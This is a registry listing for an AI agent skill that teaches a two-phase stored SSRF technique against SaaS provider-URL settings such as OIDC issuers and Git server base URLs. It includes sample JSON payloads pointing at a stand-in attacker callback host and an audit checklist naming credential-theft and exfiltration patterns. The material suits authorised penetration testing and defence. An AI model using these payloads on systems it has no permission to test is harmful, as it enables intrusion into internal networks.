saas-provider-url-ssrf SKILL.md skillA
saas-provider-url-ssrf from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/saas-provider-url-ssrf@git:20260529.17de87fPins git:20260529.17de87f in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/saas-provider-url-ssrf/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260529.17de87f, committed May 29, 2026
- Size
- 3,803 bytes
- Repository stars
- 22
- License
- MIT
Two-phase SSRF via configurable provider URLs in SaaS integrations (SSO OIDC issuers, Git server base URLs, OAuth hosts). Use when target has configurable SSO, VCS, OAuth, SAML, SCIM, or data warehouse integrations where admin stores a URL and a separate flow triggers a server-side fetch.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# SaaS Provider URL SSRF
SaaS platforms that allow admins to configure external provider URLs create stored SSRF primitives. The server-side fetch happens not at configuration time, but when a separate downstream flow triggers it.
## Core Pattern
```
Phase 1: STORE -- Admin mutation saves attacker URL in config
Phase 2: TRIGGER -- Separate flow makes server fetch from stored URL
```
The trigger and the store are different code paths, often different auth levels.
## 1. Identify Stored URL Fields
Search client-side JS for mutations/APIs that accept URL-like parameters:
```
issuer, customBaseUrl, host, baseUrl, metadataUrl, endpoint,
providerUrl, serverUrl, instanceUrl, callbackUrl, webhookUrl,
registryUrl, apiEndpoint, serviceUrl, idpUrl, samlMetadataUrl
```
Focus on configuration mutations, not transient request parameters. The URL must be persisted server-side.
## 2. Store the Payload
Set the URL to an OOB callback server:
```bash
# OIDC SSO issuer
{"issuer": "https://ATTACKER.oob.example.com/callback", ...}
# GitHub Enterprise Server base URL
{"customBaseUrl": "https://ATTACKER.oob.example.com/callback", ...}
```
Verify the URL is stored by reading back the config.
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/saas-provider-url-ssrf@sha256:7afc4b4349bfc72cThe line at the top of this page pins the label git:20260529.17de87f, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_2o5cgp6kgnkdvgct)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on May 29, 2026.
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (3803 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_2o5cgp6kgnkdvgct GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/saas-provider-url-ssrf GET https://markdownregistry.com/api/v1/blob/7afc4b4349bfc72cb6115818df2654f84c19a500ce6a54d951b5b257cd0e96e8
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.